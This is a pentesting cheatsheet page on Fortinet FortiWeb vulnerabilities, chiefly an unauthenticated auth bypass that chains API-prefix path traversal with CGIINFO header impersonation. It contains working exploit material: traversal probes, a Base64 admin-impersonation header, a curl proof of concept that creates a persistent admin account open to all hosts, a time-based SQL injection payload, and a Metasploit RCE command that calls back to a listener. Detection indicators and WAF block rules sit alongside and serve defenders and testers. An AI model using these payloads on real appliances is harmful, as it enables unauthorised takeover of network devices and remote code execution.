daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

fortinet-fortiweb.md (12552B)


      1 ---
      2 title: "Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/fortinet-fortiweb.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/fortinet-fortiweb.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
     14 
     15 ## Overview
     16 
     17 Fortinet FortiWeb exposes a centralized CGI dispatcher at `/cgi-bin/fwbcgi`. A two-bug chain allows an unauthenticated remote attacker to:
     18 - Reach `fwbcgi` by starting the URL with a valid API prefix and traversing directories.
     19 - Impersonate any user (including the built-in `admin`) by supplying a special HTTP header that the CGI trusts as identity.<sup>[[2]](#references)</sup>
     20 
     21 Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Exploitation has been observed in the wild to create persistent admin users.<sup>[[1]](#references)</sup>
     22 
     23 Impacted versions (as publicly documented):<sup>[[2]](#references)</sup>
     24 - 8.0 < 8.0.2
     25 - 7.6 < 7.6.5
     26 - 7.4 < 7.4.10
     27 - 7.2 < 7.2.12
     28 - 7.0 < 7.0.12
     29 - 6.4 ≤ 6.4.3
     30 - 6.3 ≤ 6.3.23
     31 
     32 FortiWeb 8.0.2 returns HTTP 403 for the traversal probe below.<sup>[[2]](#references)</sup>
     33 
     34 ## Quick vulnerability probe
     35 
     36 - Path traversal from API prefix to `fwbcgi`:
     37 
     38 ```http
     39 GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
     40 Host: <target>
     41 ```
     42 
     43 - Interpretation: HTTP 200 → likely vulnerable; HTTP 403 → patched.<sup>[[2]](#references)</sup>
     44 - A slightly more realistic probe is a `POST` with a minimal JSON body. Public tooling commonly uses the encoded path `/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi` because some normalizers treat the encoded `?` differently:<sup>[[4]](#references)</sup>
     45 
     46 ```bash
     47 curl -sk -X POST \
     48   -H 'Content-Type: application/json' \
     49   --data '{}' \
     50   'https://<host>/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi'
     51 ```
     52 
     53 - Interpretation: HTTP 403 → fixed; JSON with `results.errcode == -56` → traversal succeeded and you reached the auth gate inside `fwbcgi`.<sup>[[4]](#references)</sup>
     54 
     55 ## Root cause chain
     56 
     57 1) API-prefix path traversal to internal CGI
     58 - Any request path that begins with a valid FortiWeb API prefix (e.g., `/api/v2.0/cmdb/` or `/api/v2.0/cmd/`) can traverse with `../` to `/cgi-bin/fwbcgi`.<sup>[[2]](#references)</sup>
     59 
     60 2) Minimal-body validation bypass
     61 - Once `fwbcgi` is reached, a first gate performs a permissive JSON check keyed by a per-path file under `/var/log/inputcheck/`. If the file is absent, the check passes immediately. If present, the body only needs to be valid JSON. Use `{}` as a minimal compliant body.
     62 
     63 3) Header-driven user impersonation
     64 - The program reads the CGI environment variable `HTTP_CGIINFO` (derived from the HTTP header `CGIINFO`), Base64-decodes it, parses JSON, and copies attributes directly into the login context, setting the domain/VDOM. Keys of interest:
     65   - `username`, `loginname`, `vdom`, `profname`
     66 - Example JSON to impersonate the built-in admin:
     67 
     68 ```json
     69 {
     70   "username": "admin",
     71   "profname": "prof_admin",
     72   "vdom": "root",
     73   "loginname": "admin"
     74 }
     75 ```
     76 
     77 Base64 of the above (as used in-the-wild):
     78 
     79 ```text
     80 eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
     81 ```
     82 
     83 ## End-to-end abuse pattern (unauthenticated → admin)
     84 
     85 1) Reach `/cgi-bin/fwbcgi` via an API-prefix traversal.<sup>[[2]](#references)</sup>
     86 2) Provide any valid JSON body (e.g., `{}`) to satisfy the input check.
     87 3) Send header `CGIINFO: <base64(json)>` where the JSON defines the target identity.
     88 4) POST the backend JSON expected by `fwbcgi` to perform privileged actions (e.g., create an admin user for persistence).
     89 
     90 ### Minimal cURL PoC
     91 
     92 - Probe traversal exposure:
     93 
     94 ```bash
     95 curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
     96 ```
     97 
     98 - Impersonate admin and create a new local admin user:
     99 
    100 ```bash
    101 # Base64(JSON) for admin impersonation
    102 B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
    103 
    104 curl -ik \
    105   -H "CGIINFO: $B64" \
    106   -H 'Content-Type: application/json' \
    107   -X POST \
    108   --data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
    109   'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
    110 ```
    111 
    112 Notes:
    113 - Any valid JSON body suffices (e.g., `{}`) if `/var/log/inputcheck/<path>.json` does not exist.
    114 - The action schema is FortiWeb-internal; the example above adds a local admin with full privileges.<sup>[[2]](#references)</sup>
    115 
    116 ### Chaining the auth bypass to OS-level RCE
    117 
    118 - CVE-2025-64446 gives access to privileged management actions, but operators should assume public exploit chains will immediately try to turn it into shell access.
    119 - Public tooling now chains the auth bypass with **CVE-2025-58034**: create a local admin through `fwbcgi`, log in via `/logincheck`, then drive the management CLI to execute payloads.<sup>[[4]](#references)</sup>
    120 - Observed/public transports for the CLI stage:<sup>[[4]](#references)</sup>
    121   - **FortiWeb 7.x / 8.x**: WebSocket CLI at `/ws/cli/open`
    122   - **FortiWeb 6.x**: HTTP CLI bridge at `/httpclirqst`
    123 - The public Metasploit module `exploit/linux/http/fortinet_fortiweb_rce` uses the same logic and performs a relatively safe check first (`403` on patched builds, usually JSON `errcode -56` on exposed ones).<sup>[[4]](#references)</sup>
    124 
    125 ```bash
    126 msfconsole -q -x 'use exploit/linux/http/fortinet_fortiweb_rce; set RHOSTS <target>; set LHOST <listener>; check; run'
    127 ```
    128 
    129 ## Other FortiWeb vulnerabilities worth checking quickly
    130 
    131 ### Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)
    132 - Affects 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Fixed in 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.<sup>[[3]](#references)</sup>
    133 - Bug: `get_fabric_user_by_token()` uses the `Authorization: Bearer <token>` value directly in a SQL query. Attacker input is first parsed with `Bearer %128s`, so spaces terminate the payload; public exploitation replaces spaces with `/**/` comments.
    134 - Typical attack surface: `/api/fabric/device/status` (and other Fabric Connector endpoints) over HTTP/HTTPS on the management plane.
    135 - Non-destructive validation commonly uses a time-based payload:
    136 
    137 ```bash
    138 time curl -sk \
    139   -H "Authorization: Bearer AAAAAA'/**/or/**/sleep(5)--/**/-'" \
    140   'https://<host>/api/fabric/device/status'
    141 ```
    142 
    143 - Weaponization: move from SQLi to file write (`INTO OUTFILE`) and then to code execution (for example a Python `.pth` loader or CGI dropper). The FortiWeb-specific file-write/RCE details are already covered in [MySQL file write to Python `.pth` RCE](/hacktricks/network-services-pentesting/pentesting-mysql#into-outfile-python-pth-rce-site-specific-configuration-hooks).
    144 - Hunting clues: Authorization headers containing quotes/comment sequences/`sleep(`/`union`; unexpected files under `/data/lib/python*/site-packages/` or `/data/var/waf/html/ROOT/cgi-bin/`.
    145 
    146 ### FortiCloud SSO signature bypass (CVE-2025-59719)
    147 - Improper SAML signature verification lets an attacker forge FortiCloud SSO responses and log in as admin with no credentials.
    148 - Only exploitable when **FortiCloud SSO login** is enabled (it turns on automatically if the appliance was registered via GUI unless the checkbox was unticked).
    149 - Affected (per PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Patched in 8.0.1 / 7.6.5 / 7.4.10.
    150 
    151 ### Administrative FortiCloud SSO account-binding bypass (CVE-2026-24858)
    152 - This is a different bug class from CVE-2025-59719: the attacker needs **any FortiCloud account plus any registered Fortinet device**, then abuses FortiCloud SSO to log in to other customers' devices if FortiCloud SSO admin login is enabled there.<sup>[[5]](#references)</sup>
    153 - Fortinet reported in-the-wild exploitation, temporarily disabled FortiCloud SSO on the FortiCloud side on **2026-01-26**, and re-enabled it on **2026-01-27** with vulnerable client versions blocked.
    154 - FortiWeb affected versions: **8.0.0–8.0.3**, **7.6.0–7.6.6**, **7.4.0–7.4.11**. Fixed in **8.0.4 / 7.6.7 / 7.4.12**.
    155 - Factory defaults do **not** enable this login path, but GUI-based registration can enable it if the administrator leaves **Allow administrative login using FortiCloud SSO** turned on.
    156 
    157 ### OS command injection in management plane (CVE-2025-58034)
    158 - Affected: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Fixed in 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.<sup>[[4]](#references)</sup>
    159 - Practical impact: this is the post-auth primitive most worth caring about because it can be chained with CVE-2025-64446 to obtain **unauthenticated RCE**.
    160 - Public exploit chains execute commands through the management CLI, using `/ws/cli/open` on 7.x/8.x and `/httpclirqst` on 6.x after a valid admin session exists.
    161 
    162 ## Detection
    163 
    164 - Requests reaching `/cgi-bin/fwbcgi` via API-prefix paths containing `../`, especially the public exploit form `/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi`.<sup>[[4]](#references)</sup>
    165 - Presence of header `CGIINFO` with Base64 JSON containing keys `username`/`loginname`/`vdom`/`profname`.<sup>[[2]](#references)</sup>
    166 - Follow-on activity after the auth bypass:
    167   - Unexpected local admin creation.
    168   - Fresh sessions to `/logincheck` immediately followed by `/ws/cli/open` or `/httpclirqst`.
    169   - Configuration changes or command execution shortly after `fwbcgi` access.
    170 - Fabric Connector SQLi: Authorization headers containing quotes/comment sequences/`sleep(`/`union`; hits to `/api/fabric/device/status` from internet IPs; sudden files in Python site-packages or CGI directories.<sup>[[3]](#references)</sup>
    171 - FortiCloud SSO abuse: unexpected administrative logins through FortiCloud SSO on appliances that were registered through the GUI, especially if that login path was thought to be unused.<sup>[[5]](#references)</sup>
    172 - Backend artifacts:<sup>[[2]](#references)</sup>
    173   - Per-path files under `/var/log/inputcheck/` (gate configuration).
    174   - Unexpected admin creation and configuration changes.
    175 - Rapid validation: the traversal probe returning 200 (exposed) or JSON auth errors (such as `errcode -56`) vs 403 (blocked in fixed builds).<sup>[[4]](#references)</sup>
    176 
    177 ## Mitigation
    178 
    179 - Upgrade CVE-2025-64446-exposed builds to fixed releases (examples: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) per vendor advisory.<sup>[[1]](#references)</sup>
    180 - Patch the related management-plane bugs as well:
    181   - SQLi (CVE-2025-25257): 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11
    182   - FortiCloud SSO signature bypass (CVE-2025-59719): 8.0.1 / 7.6.5 / 7.4.10
    183   - FortiCloud SSO account-binding bypass (CVE-2026-24858): 8.0.4 / 7.6.7 / 7.4.12
    184   - Command injection (CVE-2025-58034): 7.6.6 / 7.4.11 / 7.2.12 / 7.0.12 / 8.0.2
    185 - Until patched:
    186   - Do not expose FortiWeb management plane to untrusted networks.
    187   - Add reverse-proxy/WAF rules to block:
    188     - Paths that start with `/api/` and contain `../cgi-bin/fwbcgi`.
    189     - Requests carrying a `CGIINFO` header.
    190     - Fabric Connector calls with SQL metacharacters in `Authorization`.
    191   - Disable **Allow administrative login using FortiCloud SSO** if you do not explicitly need it.
    192   - Monitor and alert on the detection indicators above.
    193 
    194 ## References
    195 
    196 - [1] [Fortinet PSIRT FG-IR-25-910 — Path confusion vulnerability in GUI (CVE-2025-64446)](https://fortiguard.fortinet.com/psirt/FG-IR-25-910)
    197 - [2] [When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)](https://labs.watchtowr.com/when-the-impersonation-function-gets-used-to-impersonate-users-fortinet-fortiweb-auth-bypass/)
    198 - [3] [Pre-auth SQL Injection to RCE — Fortinet FortiWeb Fabric Connector (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
    199 - [4] [Rapid7 Metasploit module: `fortinet_fortiweb_rce`](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/fortinet_fortiweb_rce.rb)
    200 - [5] [Fortinet PSIRT FG-IR-26-060 — Administrative FortiCloud SSO authentication bypass (CVE-2026-24858)](https://www.fortiguard.com/psirt/FG-IR-26-060)